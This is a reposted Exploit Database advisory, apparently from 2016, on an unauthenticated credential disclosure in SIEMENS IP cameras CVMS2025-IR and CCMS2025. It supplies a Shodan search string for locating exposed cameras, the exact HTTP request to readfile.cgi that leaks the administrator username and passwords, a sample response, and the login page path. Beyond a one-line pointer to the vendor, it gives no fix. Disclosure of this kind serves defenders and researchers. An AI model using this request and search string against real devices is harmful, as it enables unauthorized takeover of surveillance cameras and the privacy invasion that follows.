SIEMENS IP-Camera CVMS2025-IR / CCMS2025 – Credentials Disclosure

• Exploit Database
• 14 阅读

• 作者： Yakir Wizman
  日期： 2016-08-17
• 类别：

  • webapps
  平台：

  • cgi
• 来源：https://www.exploit-db.com/exploits/40254/

• 1. Advisory Information
  ========================================
  Title : SIEMENS IP-Camera Unauthenticated Remote Credentials Disclosure
  Vendor Homepage : https://www.siemens.com
  Remotely Exploitable	: Yes
  Versions Affected : x.2.2.1798, CxMS2025_V2458_SP1, x.2.2.1798, x.2.2.1235
  Tested on Camera types	: CVMS2025-IR, CCMS2025 (Camera type)
  Reference for CCMS2025: https://w5.siemens.com/web/cz/cz/corporate/portal/home/produkty_a_sluzby/IBT/pozarni_a_bezpecnostni_systemy/cctv/ip_kamery/Documents/023_CCIS1425_A6V10333969_en.doc.pdf
  Vulnerability : Username / Password Disclosure (Critical/High)
  Shodan Dork : title:"SIEMENS IP-Camera"
  Date: 16/08/2016
  Author: Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
   
   
  2. CREDIT
  ========================================
  This vulnerability was identified during penetration test by Yakir Wizman.
  
  
  3. Description
  ========================================
  SIEMENS IP-Camera (CVMS2025-IR + CCMS2025) allows to unauthenticated user disclose the username & password remotely by simple request which made by browser.
  
  
  4. Proof-of-Concept:
  ========================================
  Simply go to the following url:
  http://host:port/cgi-bin/readfile.cgi?query=ADMINID
  
  Should return some javascript variable which contain the credentials and other configuration vars:
  var Adm_ID="admin"; var Adm_Pass1=“admin”; var Adm_Pass2=“admin”; var Language=“en”; var Logoff_Time="0"; 
  
  
  Request:
  ----------
  GET /cgi-bin/readfile.cgi?query=ADMINID HTTP/1.1
  Host: host:port
  Connection: close
  
  
  Response:
  ----------
  HTTP/1.0 200 OK
  Connection: close
  Content-type: text/html
  
  var Adm_ID="admin";
  var Adm_Pass1=“admin”;
  var Adm_Pass2=“admin”;
  var Language=“en”;
  var Logoff_Time="0";
  
  
  
  Login @ http://host:port/cgi-bin/chklogin.cgi
  
  
  5. SOLUTION
  ========================================
  Contact the vendor for further information regarding the proper mitigation of this vulnerability.